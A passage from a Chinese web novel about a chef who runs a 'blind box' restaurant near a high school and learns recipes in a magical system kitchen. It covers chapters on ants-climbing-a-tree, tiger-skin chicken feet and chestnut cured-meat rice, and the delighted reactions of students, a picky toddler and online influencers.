看得出来，一顿饭的工夫，盲盒餐厅又收获一个忠实粉丝，他说完甚至忍不住在宿舍群里向舍友们炫耀起来，也就是中午他忘记拍照，否则非要用照片刷屏，好好馋馋他们。 下午天气多云转阴，才三点不到，天色就微微暗下来，可即便如此，也阻拦不了顾客们吃饭的热情。 中午吃到饭的顾客回味着酱肘子的美味，忍不住来得更早些，而那些中午没吃上饭的，生怕下午还吃不着，同样来得很早。如此内卷之下，四点还不到，店里店外已经人满为患。 “我去，人也太多了吧！” “服了，我以为我来得够早了，结果一个个怎么比我来得还早！” 某方面来说，黄家人还挺有优势，由于家离得近，中午和下午全都吃到饭，那叫一个满足。 黄父、黄母元旦只有一天假，晚饭结束就得回首都去，时间还挺赶，不过今天这两顿饭吃得是真享受，让他们都有种不虚此行的感觉。 “小月，你在家照顾好自己，照顾好爷爷，没钱了就跟爸说，听到没？” “知道了爸。” 小月正跟父母说话时，小阳则是坐在沙发上抱着爷爷胳膊喊：“爷爷我不想走了，让我留下来陪你吧！” 黄老爷子还没来得及反应，黄父走过来一巴掌拍他头上：“你不用上学了是吧？” 想到盲盒餐厅美味的饭菜，小阳感觉这破学真是一天都上不下去，但他不敢说出来，怕被老爸揍。 最终，哪怕他再不想走，还是乖乖跟父母一起上车，只留下一句搞怪的“我还会回来的！” 黄家父母带着儿子回首都时，学校里正热闹着，每个班教室都张灯结彩，黑板上更是写着“元旦晚会”几个大字。 在其他班载歌载舞时，楚瑾钰他们班上，同学们都用期待的眼神望着他。 楚瑾钰知道他们在想什么，直接拿出他爸特意准备的零嘴摆到桌上和大家分享。 酱落苏干不用说，之前他就带到班上吃过，不过那次是胡一齐急着想吃，只晒了一天半的落苏干整体口感带着几分湿润。今天的落苏干完全晒透，口感更加有嚼劲一些，吃起来甜津津的。 烤虾干去年元旦就有，那股虾鲜味更是令同学们很是怀念。 还有香酥小刀鱼，上次楚瑾钰生日时楚易文做过，但不是所有同学都吃到，现在楚瑾钰拿出来，那酥脆鲜香的滋味，好吃到简直令人上瘾。 至于灯影牛肉，这道美食当菜吃好吃，当零嘴吃起来更加过瘾，酥脆化渣的口感，鲜香麻辣的滋味，别提有多美味。 “别的班都在表演，你们就知道吃。”班主任进教室，看到班上学生全在埋头苦吃，不由吐槽一句。 然而吐槽完，他却是被香味吸引到楚瑾钰那边去。 楚瑾钰：“我爸做的灯影牛肉，老师你吃不？” 灯光下，色泽红亮、薄如蝉翼的灯影牛肉卖相实在诱人，根本没有人能拒绝。于是很快班主任就站在原地也吃起来，边吃边夸：“你爸手艺真好，做什么都好吃。” 今天晚上年级主任等领导会在各班巡视，看看每个班的晚会搞得怎么样，等他们来到楚瑾钰班级时，就感觉教室里有点过于安静。 “吕老师，你们班没有安排表演吗？” 听到主任的声音，吕老师差点没被嘴里的酱落苏干给呛到，勉强咽下去后开口道：“有啊，刚表演完，现在吃点东西休息下。” 他边睁着眼睛说瞎话，边轻轻推了下旁边的学生。 旁边正是胡一齐，这小子倒是挺机灵，立刻就走到音箱边，拿起麦克风道：“接下来由我给大家带来一首歌……” 他也是真不怯场，随便放首歌就唱起来，同学们捧场的鼓掌，教室里瞬间就热闹起来。 与此同时，吕老师借花献佛，招呼主任尝尝桌上的零嘴。 要是普通零食，主任他们还真不一定会吃，但看到桌上的烤虾干、灯影牛肉、酱落苏干、香酥小刀鱼，根本没人能拒绝。 班级荣誉感楚瑾钰还是有的，怕主任觉得他们班没在好好搞活动，在对方还矜持时，直接往他们手里塞。 吃人嘴软，主任几人吃着香喷喷的零嘴，在他们班多待了一会，走的时候果然没再说什么。 晚上回家，楚瑾钰将这事和他爸说了一声：“爸你太给力了，要不是你做的东西好吃，直接堵住主任他们的嘴，我们班肯定会被批评。” 楚易文听到儿子这么说，心里还挺有成就感，晚上临睡前抽完奖，随机选了个菜谱进行学习。 他今天要学的是川菜经典——蚂蚁上树。就像老婆饼里没老婆一样，蚂蚁上树里自然不会有真蚂蚁。 进入系统厨房后，楚易文先将粉丝放到温水中浸泡，随即开始准备配料。葱、姜、蒜切好，他拿出豆瓣酱放到案板上，用刀细细剁碎，这样待会炒起来既容易出红油和香味，还能去除豆腥气。 配料准备好，他拿出块肥三瘦七的猪肉剁成肉末，起锅烧油炒至肉末变色，锅边烹半勺料酒去腥。 肉末炒好，他用锅铲推到旁边，用剩下的底油将提前剁碎的豆瓣酱放进去炒出红油，当浓郁的酱香味从锅底飘出来，他麻利地下入葱姜蒜。 肉末混合豆瓣酱一起翻炒，随着他将生抽、老抽等调料下锅，肉末被染成棕红色。在浓郁肉香飘散开来时，楚易文将沥干水分的粉丝下入锅中，翻炒均匀后加水开始焖煮。 这道蚂蚁上树做法并不复杂，但想做好吃却没那么容易，楚易文将菜出锅时，他自我感觉还不错，但老爷子却是不太满意。 “粉丝不够爽滑，肉末差点味道，重新做。” 第86章 虎皮凤爪 白天在餐厅里做菜, 晚上回家还要在系统厨房学习，楚易文的一天还挺充实。 学会蚂蚁上树，他第二中午就直接做上, 当那股酱香混着肉香，以及粉丝特有的香味飘出来时，外面顾客纷纷轻嗅着香味猜测是什么菜。 今天提前过来的人倒是没有昨天那么多，不过小月和爷爷他们依旧来得挺早。 她已经和父母说好，等过完年后就在老家找工作，想想心情就愉悦。 只能说吃好睡好确实养人，她为了来盲盒餐厅吃饭, 连夜都不熬了，加上美食带来的好心情，不怪黄父、黄母会答应她留在这。实在是她的精神面貌和回老家之前比起来, 简直不要太好，就连嘴唇都更有气色些。 她正哼着歌等着吃午饭时，手机忽然响起来, 低头见是朋友打过来视频，她直接接通：“喂, 箐玥，你这个时间竟然有空给我打视频？” 小月说完才发现她脸色特别憔悴，原本欢快的声音瞬间变成关心：“你怎么了？” “加了一个星期班，昨晚直接发烧了, 吃了退烧药睡到刚刚才醒，人特别难受，打电话跟领导请假，竟然说让我在家里办公……” 听到她声音里的哭腔，小月气愤道：“你们领导也太不当人了！有病吧他！” “我不想干了, 想辞职。” 经常性加班令人感到疲倦，她原本就有想辞职的想法，领导的不做人只是压倒骆驼的最后一根草。 “辞！这破班谁爱上谁上，只听说过加班猝死的，也没见过谁不上班饿死的，你放心大胆地辞！” 小月特别能理解她的心情，当辞职这个想法起来时，那上班将会变得更加痛苦，与其犹犹豫豫，不如当机立断。 和她吐完苦水，箐玥才终于注意到屏幕中她的脸色，不由道：“果然还是不上班养人，你气色也太好了。” 她望着屏幕中的两张脸，自己的苍白没有血色，另外那张却是白里透红，尤其是嘴唇，带着健康有光泽的粉色。 “我妈元旦节回来看到我时也这么说，不过倒也不全是不上班的缘故，主要还是……”小月将盲盒餐厅好一顿夸，表示自己气色好有它的功劳。 “你是知道我的，我最讨厌吃猪肝了，但是它家连猪肝都做得特别美味，每次我爷爷点猪肝时我都跟着吃了。” 箐玥确实知道她以前讨厌吃猪肝，听到她这话不由道：“猪肝补血，怪不得你现在看起来气血充盈，中气十足的感觉。” “你平常也多吃点饭，不要总是把咖啡、奶茶当饭，回老家后我才算是发现，还是正儿八经吃饭更养人。”小月望着她没有精气神的样子，好像看到了之前上班的自己。 箐玥：“不是我不爱吃饭，主要是根本没胃口，每天打开外卖看什么都不想吃。” “不行你来我这吧，盲盒餐厅绝对会让你爱上吃饭，而且等过完年我们还可以一起去找工作。” “跟吃什么没关系，就是单纯没胃口，之前我也点了比较贵的外卖，还是吃不下多少。” 听到箐玥这么说，小月直接表示视频不挂，她要现场表演个吃播，就不信勾不起她食欲。 刚退完烧箐玥脑袋还有点晕，她今天比平常更加没胃口，但此时比起一个人在出租房里胡思乱想，她更愿意和朋友挂着视频，自然不会拒绝。 “我跟你说，现在店里特别特别香，可惜你闻不到，不然光闻味道都会馋。”小月轻嗅着越来越浓郁的饭菜香，有点可惜科技还没发展到那种隔着屏幕能闻到香味的地步。 排队时，她又用手机分享了下店里热闹的氛围，让箐玥感受这家店生意有多好。而等到楚易文开始往外端菜时，她更是立刻给菜肴特写。 首先就是一盆油润红亮的粉，根根分明的粉丝裹着亮晶晶的酱汁，看起来带着点透明，粉丝上点缀着深褐色细小肉粒，宛若“蚂蚁”穿梭在“树间”，看起来卖相十足。 除了蚂蚁上树外，还有看着就特别酥脆的椒盐大虾、红彤彤的辣子鸡丁、嫩黄与褐色交织的冬笋炒腊肉、红与黄组成的番茄炒蛋，汤汁清澈的冬瓜排骨汤。 说实话，看到这些色香味俱全的菜肴，哪怕隔着屏幕，箐玥依旧下意识吞咽了一下，有点饿的感觉。 买好饭将手机摆好角度，小月迫不及待开始吃播。她首先夹起筷蚂蚁上树，亮晶晶的粉丝很有弹性，她小心夹到碗里才开吃。 入口先尝到粉丝表面浓郁的酱香和咸鲜味，咀嚼间粉丝带着极致的爽滑，好吃到她眼睛都不自觉弯起来，肉末的酥香和粉丝的弹牙相融合，简直不要太香。 “好好吃啊！” 酥香的肉末和爽滑的粉丝两种不同口感形成鲜明对比，加上浓郁的酱香气息，小月感觉这道蚂蚁上树都可以直接当主食吃，吃完整份她都不会腻。 蚂蚁上树不光直接吃好吃，用来下饭更是香，粉丝上面油润的汤汁染到米饭上，米饭的软糯、粉丝的爽滑弹牙、肉末的香酥有嚼劲，简直令人上瘾。 旁边桌上，有位顾客吃到蚂蚁上树后，反应更加夸张：“明明就是粉丝加肉，怎么能炒得这么好吃？也太香了！” 豆瓣酱和生抽为粉丝和肉末提供酱香和咸鲜味，粉丝吸饱汤汁，吃起来格外爽滑、筋道，肉末为整道菜提供香酥的口感和肉香，酱香、肉香和微微辣味达成完美平衡，味道自然无可挑剔。 用简单的食材做出不简单的味道，不怪顾客会被惊艳到。 “你把粉丝当饭吃呢？” 顾客们开吃没多久，楚瑾钰他们几个就进入店里，见胡一齐夹了半碗蚂蚁上树很快吃完，楚瑾钰随口吐槽。 胡一齐：“粉丝本来就可以当主食吃，太好吃了，这跟楚爸上次做的炒粉完全不同，但一样好吃！” “服了你了。”楚瑾钰见他还真要把蚂蚁上树当主食吃，直接起身去找他爸又打了一份回来。 店里还在排队的顾客看到他端着满满一大份蚂蚁上树离开，脸上都露出羡慕的表情。 “老板，你还缺儿子不？” 楚瑾钰刚走出去几步就听见这话，忍不住转头望着说话的人道：“你看起来比我爸年纪还大！” “那是你爸看起来太年轻了！”顾客不愿意承认自己长得老，扯着嗓子道。 实际上他也不是瞎说，楚易文长得确实比同龄人显年轻，如果不是楚瑾钰天天过来吃饭，估计没几个人会相信他有这么大的儿子。 旁边桌上，小月前面还时不时和朋友介绍一下菜色，后面就是沉浸式吃播，压根顾不上说话。 只见她一口蚂蚁上树一口米饭，吃得脸颊都微微鼓起，嘴里食物刚往下咽，一筷子辣子鸡丁又送到嘴边。 辣子鸡丁表面那层脆壳咬上去时发出细微“咔嚓”声，听着就很香，就着辣子鸡丁又吃一口米饭，随即她又夹了点番茄炒蛋。酸甜口的番茄炒蛋特别开胃，她连吃几口米饭，脸上露出享受的表情。 看到她吃得这么香，箐玥是真看饿了，忽然特别想吃饭，边点开外卖软件边道：“你赢了，这家菜看起来真香，给我都搞饿了。” 小月听到声音才反应过来自己还在视频，夹着一筷子蚂蚁上树凑近道：“来，啊……” 粉丝完全没有粘连，哪怕夹在筷子上也是根根分明，油润的酱汁挂在上面，让它看起来晶莹剔透，星星点点的肉粒更是让它卖相格外诱人。 “外卖没有蚂蚁上树，你就别馋我了。”箐玥在外卖平台搜了一下，只能找了家评分还不错的饭店点了番茄炒蛋、辣子鸡丁、冬瓜排骨汤。 点完外卖，她不由道：“你吃慢点，等等我，我感觉看你吃饭特别有胃口。” 小月自然不会拒绝，特意放慢吃饭速度，甚至让爷爷他们吃完先走，不用等自己。 在箐玥给外卖小哥额外加小费的情况下，二十分钟左右她就拿到午餐，盖子掀开时闻着还挺香，不过卖相总感觉没有屏幕里的诱人。 小月看到她展示的午餐，点评道：“番茄炒蛋还行，辣子鸡丁感觉肯定没我这份好吃，冬瓜排骨汤看起来油也有点重，不够清爽。” “确实，就这它家评分还能有四点八，真是无语。” 买都买了，箐玥吐槽完趁着胃口还在，边看手机边吃起来，好歹在小月的陪伴下将饭吃完。 午餐结束，小月没有立刻回家，而是溜进学校里，坐在操场上和箐玥一起回忆她们的高中生涯。 “学校变化是真大，现在都换新教学楼了……” 小月之前刚回来时也有这个感叹，不过听她说完却是笑着补充一句：“倒也不是什么都变了，至少食堂还是一如既往的难吃，我之前在盲盒餐厅吃饭时，没少听学弟学妹们吐槽。” 箐玥听到这话瞬间就笑起来，心情都放松不少。 等到这通有点长的视频通话终于要结束时，箐玥心里已经想好：“等着吧，过段时间我就回去找你。” 小月听到她真要回来，心里很是高兴，连连表示欢迎，还说到时候请她吃饭。 * 元旦过后，离寒假就近了，但放寒假之前还要先经过期末考试这关。 期末考试这座大山压在头上，这下楚瑾钰他们这帮高三生真是连周末都要没有了，放假全天都在做作业和复习。 其实楚易文并没有给儿子什么学习压力，但高三那个氛围，只要你身处其中，很难不受影响。尤其是楚瑾钰想到他爸都特意去学校边开店，自己心里都觉得，如果不考好点，都对不起他爸的辛苦。 楚易文看到儿子从上午做作业到下午，就中午吃饭前后休息会，感觉还挺不容易，送果盘时顺便问：“晚饭想吃什么？” 其他方面他也帮不上什么忙，便想着给儿子做点好吃的。 “想吃炒饭。” “行。” 楚易文答应完却是没有立刻做炒饭，而是先拿出砂锅准备炖个酸萝卜老鸭汤给他补补。 冬天本就是个适合喝汤的季节，酸萝卜老鸭汤营养又开胃，用来配炒饭很不错。 接下来父子俩一个在客厅写作业，一个在厨房忙碌，随着时间流逝，浓郁的饭菜香飘满整个屋子，画面看起来还挺温馨。 楚瑾钰闻见香味下意识抬头，哪怕天天都吃他爸做的饭，此时肚子还是咕咕叫起来。 换做两年前，打死他都不敢想现在这种场景，心里那点因为写作业的烦躁忽然就被饭菜香味给带走，甚至生出淡淡的愉悦。 “作业做完没？可以吃饭了？”厨房里，楚易文边将炒饭出锅边问。 炒饭里配菜丰富，虾仁的红色、鸡蛋包裹米饭的金黄、胡萝卜的橙色、黄瓜的翠绿……卖相看起来很是诱人。 “马上就做完了。”楚瑾钰加快速度将最后几道题写完，随即起身去洗手。 由于嘴巴有点干，吃饭前他先喝了两口汤，带着酸香的酸萝卜老鸭汤鲜美开胃，喝完他胃口更加好，端着炒饭就埋头吃起来。 看到儿子吃得那么香，楚易文脸上不自觉露出笑容，端起汤碗抿了一口，感觉今晚的汤炖得很不错。 “爸，我们班同学都说你做的饭不光好吃，还能令人心情愉悦，我觉得他们说的很有道理。” 半碗炒饭下肚，楚瑾钰主动找了个话题聊起来。 高三学生们压力挺大，尤其是随着这学期进入尾声离高考越来越近时。对于学生们来说，如今能令他们放松的动作实在太少，只有去盲盒餐厅吃饭时，美食带来的愉悦才能让他们发自内心放松下来。 楚易文听着儿子的话，心里还挺有成就感，觉得不枉自己辛辛苦苦在系统厨房里学习。 今天是周末，他本来决定休息一天，听完儿子的话，入睡前没忍住，又去系统厨房学习新菜谱。 次日又是周一，对很多人来说比较黑暗的一天，早上楚易文先送儿子去学校，随即才去采购食材。 今天他准备做新学的虎皮鸡爪，但在市场里转了一圈，没看到让他满意的食材，就连之前他买过的那家都换了货。 “你怎么知道我换货了？”店老板有点惊讶，说完又道，“这和之前的品质是一样的，而且还更好一些，你看肉多肥。” 鸡爪可不是肉越肥越好，楚易文望着面前看起来漂亮，实际跟之前没法比的鸡爪，不想和老板争执什么，摇摇头就直接离开。 由于没买到满意的食材，他找了家还行的店铺随便买了点鸡爪，等上车后直接选择在系统里兑换。至于买的鸡爪，丢了浪费，在发现系统有回收功能后，他直接让系统回收。 其实他也可以直接在系统兑换，但楚易文性格比较谨慎，想着万一有人发现他没买鸡爪却卖鸡爪就麻烦了，宁愿花点钱。 从系统兑换出来的食材品质就是好，等他到店里时，帮忙剪鸡爪指甲的李老太太都忍不住夸。 盲盒餐厅里，楚易文和李老太太忙着处理食材时，学校内，学生们刚下课。 高一、高二年级学生们从教室里出来放风时，高三年级教室里，哪怕下课也没多少人出来，有人还在继续做题，有人还在看书，至于楚瑾钰，他正趴在桌上休息。 自从知道老师会去店里跟他爸告状后，他现在是不敢在上课时睡觉，只能趁着下课时间能休息会算一会。 “走，我请你们喝饮料。”胡一齐走过来想招呼楚瑾钰去小卖部，顺便连邵言易也带上。 邵言易摇头表示不喝，楚瑾钰更是趴在桌上不愿意动。 教室另一边，余思语笑着和同桌分享好消息：“我外婆昨天过来了，会在我家住到年后去，我已经和她说好，让她中午帮我去盲盒餐厅买饭。” “你外婆真好，我跟我奶奶说，她说了我一顿，说家里有饭不吃非要浪费钱。” 听到同桌叹气的声音，余思语道：“没事，我可以让我外婆多买点，你跟我一起吃。” “真的吗？那我把钱给你！” 她们聊完没多久，上课铃声响起。如此反复，第二节课刚下课就有人忍不住问楚瑾钰：“叔叔中午会做什么好吃的？” 显然，由于学习太累，受不了的学生想用美食来缓解一下心情。 提起这个楚瑾钰就不困了，坐直身体道：“我爸说今天要做虎皮凤爪……” “虎皮凤爪？我爱吃这个！” 提起吃，教室里瞬间就热闹起来，哪怕感觉放学后排不上队的学生都跟着聊起来。 学生们期待着快点放学时，盲盒餐厅里，楚易文正在做虎皮凤爪。处理干净的鸡爪冷水下锅加葱、姜、料酒去腥，沥干水分后，白白嫩嫩的鸡爪看着就很漂亮。 鸡爪水分沥干，他开始起锅烧油，六成油温时将鸡爪分批下锅进行油炸，高温下，鸡爪原本白嫩的颜色变成金黄色，表皮更是鼓起泡泡。 伴随着肉香和油炸特有的焦香飘出来，店里等待的顾客简直要被馋坏。 鸡爪炸好捞出来，楚易文将其放入提前准备好的冰水中，鸡爪遇到冰水，表面很快就形成漂亮的虎皮纹。 鸡爪全部炸完泡冰水时，楚易文先去做其他菜，等把其他菜出锅，鸡爪也已经泡好。他随手拿起一个，打量着上面完美的虎皮纹，满意地点点头，将鸡爪捞出来沥干水分。 楚易文用中小火先将干辣椒、花椒、八角、桂皮等调料炒香，再加入葱、姜、蒜继续翻炒，香辛料的气息和干辣椒的辣味被完全炒出来后，下入豆瓣酱炒出红油。 随着锅铲翻炒，这股带着香辣气息的料香已经很诱人，等到他将鸡爪下入锅中，肉香混着酱料香，瞬间交织出一股浓郁气息，这还不算完，随着生抽、老抽下锅，以及半勺料酒烹在锅边，伴随“嗤啦”一声，高温升腾间，带着鸡爪特有的肉香飘满整个厨房。 等到楚易文加水盖上锅盖开始焖煮时，香料组成的复合气息、酱香、肉香、辣椒香融合成一股浓郁香味飘到店里，令已经开始排队的顾客不自觉伸长脖子往里看。 “仔仔，香不香？” “香！” “那你想吃吗？” “想吃！” 队伍中，仔仔妈妈闻着扑面而来的香味，蹲下来用期待的声音问儿子。 她家孩子已经上幼儿园中班，可是不论在家还是在幼儿园都只愿意吃白米饭，最多接受用菜汤拌饭，菜和肉是完全不肯吃。她在网上求助时，刚开始网友们都吐槽肯定是她做饭太难吃，让她带孩子去肯某基、麦某劳试试，然而根本没用。 网友们发现她家孩子是真不爱吃菜后，帮着想了不少办法，都没什么用。 最近有人发私信给她，说她既然在云市，可以去盲盒餐厅试试。她已经带孩子去过很多饭店，本来已经不信外面的饭店有用，但查了下地图，发现盲盒餐厅离他们家挺进，这才决定来试试。 听到儿子说想吃时，她没敢高兴得太早，毕竟之前有几回她带儿子去饭店，儿子也说想吃，结果真开饭时，他还是只挑米饭吃，肉吃一口吐一口，青菜更是完全不碰。 她牵着儿子的手，心里暗暗祈祷，终于排到他们时，将所有菜都买了一份，摆到桌上后问：“仔仔，你想吃什么？” 离仔仔最近的就是虎皮凤爪，他没有回答妈妈的话，直接伸手抓了个鸡爪，红亮油润的汤汁瞬间流满他整张手。 妈妈看到他满手汤汁却没有打断他，毕竟跟孩子总是不吃菜比起来，弄脏手根本不算什么。 鸡爪皱皱的虎皮纹吸满汤汁，一口下去香辣咸鲜，先炸再炖让它连筋骨都变得酥软，肉质吃起来更是软糯入味。 “好辣……” 仔仔咬一口鸡爪，瞬间就被辣到，偏偏还舍不得吐出来，看得妈妈又是高兴又是担心，赶紧夹点米饭塞他嘴里。 第87章 板栗腊味饭 虎皮凤爪最灵魂的地方就是表面那层吸收汤汁, 皱皱的虎皮纹，咀嚼间软糯的口感更是令人欲罢不能。 仔仔就着米饭咽下嘴里鸡爪，又啊呜咬上去, 再次被辣到，不由张着嘴巴“嘶哈”个不停。 “我们吃这个不辣的菜好不好？”妈妈看到他辣得脸蛋都开始变红，夹起块粉蒸肉举到他面前。 然而小家伙却是有点犟，摇头表示拒绝，哪怕被辣到还是只肯吃手里的虎皮凤爪。这种倔强的性格，怪不得让他吃菜会那么难。 妈妈将桌上每道菜都举到他面前试了一下，见他都不要, 想着有个愿意他吃的菜已经是进步，于是拿出随身携带的保温杯倒水出来：“那妈妈帮你洗一下，洗完就没那么辣了。” 虎皮凤爪对平常就爱吃辣的成年人来说, 只能算微辣，但对仔仔这个小朋友来说，已经很辣很辣, 可能是又想吃又扛不住辣，这次他倒是没再犟, 将手里吃到一半的鸡爪递给妈妈。 仔仔妈妈接过来，在水里先泡着，同时拿湿巾出来将他手擦干净，擦拭过程中闻见那股酱香、香辣气息以及鸡爪特有的肉香, 她觉得不怪儿子喜欢吃。 等将鸡爪表面的汤汁泡走，她抖干水分递给儿子，小家伙立刻握住送到嘴边吃起来，吃得那叫一个香。 长时间的炖煮让鸡爪连骨头都入味，泡过以后只是辣味没那么重, 吃起来还是很香。 别看仔仔才幼儿园中班，遇到喜欢吃的东西还挺会吃，啊呜一口将鸡爪一根根咬进嘴里，鼓着脸颊嚼嚼嚼，将肉嚼下来吃完，咬不动的骨头直接吐出来。 见儿子吃得那么香，仔仔妈妈露出喜悦的表情拿手机拍了个视频，分别发给家里人和视频账号上，与大家分享这个好消息。 发完视频，在诱人的饭菜香里，她终于扛不住，握着筷子也跟着吃起来。 一口虎皮凤爪进嘴，她瞬间就理解儿子为什么会喜欢吃，鸡爪表面的虎皮纹吸满汤汁，咬上去时香辣咸鲜的滋味瞬间在味蕾上蔓延开来。长时间的炖煮让鸡爪肉不用怎么用力就能脱骨，吃起来外糯里嫩，筋骨的地方都变得酥软，简直越吃越好吃。 鸡爪里带着胶原蛋白，长时间炖煮将那股胶质感都煮出来，配上绝佳的调味，每一口都滋味十足。 好好吃啊！ 仔仔妈妈不知不觉间就吃完两个鸡爪，感觉还有点意犹未尽，她回味着嘴里的余味，感觉这鸡爪不光调味好，食材更是新鲜，吃起来半点肉腥味都没有，只有纯粹的肉香和调料香，简直令人上瘾。 不过想到儿子爱吃这个，她最终还是没再继续吃，而是转头夹了块米粉蒸肉。 五花肉上裹满米粉，看起来金黄油润，咬上去时先感受到米粉的颗粒感，然后是肉的香味，咀嚼间米香和肉香融合，吃起来肥而不腻，脂香浓郁。 “仔仔，这个米粉蒸肉也特别好吃，你真的不要尝尝吗？”仔仔妈妈感觉这是她吃过最香的米粉蒸肉，忍不住再次对着儿子安利。 然而小家伙不爱吃菜的习惯可能改不了那么快，今天只愿意接受自己挑选的虎皮凤爪，因此依旧摇头。 “行行行，那你吃吧。” 见儿子露出“你非要我吃，我就要闹了”的表情，仔仔妈妈赶紧收回送到他面前的米粉蒸肉，直接塞进自己嘴里。 她是真觉得米粉蒸肉好吃，米粉特别香，肉更是肥而不腻还入味，感觉儿子不吃真是可惜。 除了米粉蒸肉，桌上的蒜蓉粉丝蒸白菜同样可口，粉丝爽滑美味，白菜软嫩清甜，配上蒜蓉香，越吃越好吃。 这边仔仔小朋友只能吃洗过版本的虎皮凤爪，而店内其他顾客却是恨不得多把鸡爪在汤里滚两圈再吃。 “太好吃了！这才是虎皮凤爪！” 那口香辣汤汁和虎皮特有的皱纹绝对是这道菜的灵魂，咬上去时感受着微微爆汁感，以及汤汁蔓延整个口腔带来的滋味，好吃到令人想哭。 汤汁的辣并不是干辣，而是由干辣椒和花椒带来的香辣，香辣的主调过后是生抽、老抽、豆瓣酱带来的酱香，以及八角、香叶等香料带来的馥郁气息。 丰富的调味配上火候恰到好处的鸡爪，不论是色香味都无可挑剔，以至于好多顾客连鸡爪骨头都要嚼碎才舍得吐出来。 胡一齐：“香死了！这鸡爪怎么会这么好吃！” 看得出来他是真爱吃，嫌筷子不得劲，直接用手抓着骨头，啃得那叫一个香，甚至连嘴角沾上汤都顾不上去擦。 “这层虎皮好好吃。”楚瑾钰喜欢虎皮凤爪的口感，咬着鸡爪的表皮道。 叶其林赞同地点头：“确实，感觉还是现做的好吃，那种真空包装的虎皮凤爪就没这个味。” “废话，就算是现做的也没几个人比楚爸做的好吃，你竟然还拿那种真空零食来比。”胡一齐咽下嘴里鸡爪肉道。 邵言易：“我之前兼职的店里有虎皮凤爪卖，没有叔叔做的好吃，感觉叔叔做的这个虎皮纹特别深，吸了好多汤。” “这个汤拌饭也好吃。”楚瑾钰边说边往碗里浇汤汁，原本雪白的米饭很快被染成红色。 商时贸：“不辣吗？”他看着就感觉辣。 “不辣，特别香。”楚瑾钰往嘴里塞口饭，感受着米饭和汤汁融合的香辣咸鲜，吃完才回答。 长时间的炖煮，让鸡爪的胶原蛋白多少有些被煮进汤里，让汤汁带着浓浓肉香，搭配米饭一起吃，简直不要太香。 商时贸听到他这么说，只敢往碗里浇上半勺，尝试一口后发现确实很好吃。 旁边桌上，之前来探店的主播风哥又来了，不过这次没有开直播，而是和一个叫约翰的外国人网红一起合拍视频。 “你敢不敢吃鸡爪？” 买完饭菜，风哥将鸡爪放到约翰面前笑着问。 “这个看起来有点可怕，但闻起来太香了，我觉得我可以试一试。”约翰用一种纠结的表情拿起鸡爪，咬了一口后立刻露出夸张的表情，“噢！怪不得你们喜欢吃这个，这太好吃了，我喜欢这个味道！” 他被鸡爪味道惊艳到的表情一看就是发自内心，随即话都顾不上说，立刻大口大口吃起来。 “给我留点！” 看到他三下五除二就吃完整个鸡爪开始吃第二个，风哥既是为了视频效果，也是真怕他吃太快，赶紧伸手和他抢起来。 “唔！这调味真是绝了！香香辣辣，吃得出来放了香料，但香料味并不重，鸡爪表面的虎皮做得特别完美，将汤汁都吸进去，吃起来特别软糯入味。”风哥对着镜头快速将虎皮凤爪点评一下，随即就完全沉浸在美味中。 接下来他和约翰都没有再说话，而是带着点竞争地吃起来，你抢一个鸡爪，我也立刻抢一个，餐盒里鸡爪在快速消失。 他们吃得实在太香，以至于摄像师终于受不了，空出一只手抢了个鸡爪塞进嘴里吃起来。 当天晚上，风哥的视频剪好发到网上，立刻引来好多评论。 【你小子是在盲盒餐厅吃上瘾了是吧？又背着我们过去偷吃！】 【笑死，约翰前面看到鸡爪时还一副怕怕的表情，后面却是生怕自己吃少了。】 【啊啊啊！我也好想吃虎皮凤爪，它家虎皮凤爪看起来也太美味了吧！】 【可恶，我一个云市本地人到现在都没吃过盲盒餐厅，约翰你竟然都吃上了？】 【看起来太馋人了，不光是那道虎皮凤爪，还有米粉蒸肉，给我都看饿了。】 【果然好吃的店永远都在别人那，为什么我家附近就没有这种又好吃又卫生的餐厅？羡慕死我了。】 跟风哥视频底下的热闹比起来，仔仔妈妈中午随手分享出去的视频热度就要小得多，不过也有挺多人评论。 【真不容易，仔仔终于愿意吃菜了，恭喜恭喜！】 【这家店我知道，最近在网上挺火的，我本来还以为又是那种搞噱头的网红餐厅，没想到仔仔竟然愿意吃它家的菜，那我有空可得去尝尝。】 【它家菜看起来是真不错，我家女儿虽然没有仔仔那么夸张，但也很挑食，改天我也带她去试试。】 可能是大数据的原因，楚易文晚上在家里玩手机时刷到仔仔妈妈的视频，发现自己做的菜竟然还能帮助到别人，心里还挺高兴。 上个月时他抽空做了不少腊味，有去年的经验在，今年做的更加完美。 楚瑾钰下晚自习回来，在厨房看到被整齐挂起来的腊肉、腊肠，忽然想吃腊味饭。 “行，要吃腊味饭还不简单，我明天就给你做。”楚易文说完想到之前腊肠做好得到的食谱“板栗腊味饭”，不由问，“加点板栗进去给你做板栗腊味饭怎么样？” 板栗腊味饭听起来就很好吃的样子，楚瑾钰肯定不会拒绝，甚至已经开始期待起来。 次日，由于剥板栗比较费时间，板栗腊味饭楚易文是准备下午再做。 楚瑾钰他们几个人吃完午饭都不急着走，而是纷纷坐在店里帮忙剥板栗。 “楚爸，你怎么不直接买板栗仁？”胡一齐边剥板栗边问。 楚易文：“市场里现成的板栗仁都是冻货。” 冻货他肯定不要，转了一圈没看到新鲜板栗仁卖，干脆回来自己剥。 听到他们的对话，得知下午有板栗腊味饭吃，店内不少刚吃完饭的顾客主动过来帮忙剥板栗，其中有好几个是楚瑾钰班上同学。 “爸，胡一齐偷吃板栗！” 楚瑾钰话落，胡一齐赶紧开口解释：“这个剥破了我才吃的！” “没事，可以吃，就是生板栗不容易消化，少吃几个尝尝鲜就好。”楚易文笑着道。 “生板栗能吃吗？”有位顾客发出疑问。 胡一齐：“能吃啊，脆脆甜甜的。” 听到他说可以吃，帮忙剥板栗的顾客都忍不住尝了个，发现味道还挺不错。 上午李老太太已经剥了好多板栗，原本楚易文是准备等午餐结束后自己再剥一剥就搞完了。结果人多力量大，等他把午餐吃完，顾客们已经帮忙将板栗全部剥好。 不用剥板栗，等人都离开，他干脆回家休息一会，时间差不多时才重新来到店里。 他自己做的腊味不算多，留在家里准备过年时吃，店里用的一部分是外面买的，一部分是在系统里兑换的。买的主要是腊肠，附近有个专门做手工腊肠的老店，卖的腊肠口碑很不错。 板栗腊味饭做法并不难，大米淘洗干净浸泡一会，腊肠、腊肉用温水冲洗干净后切块，板栗切成两半。 食材全部准备好，楚易文开始调料汁。生抽、老抽、蚝油、糖、香油、高汤混合起来，再加入适量的盐。由于生抽、老抽、蚝油里都有咸味，加上腊味也自带咸度，所以盐的量需要特别控制。 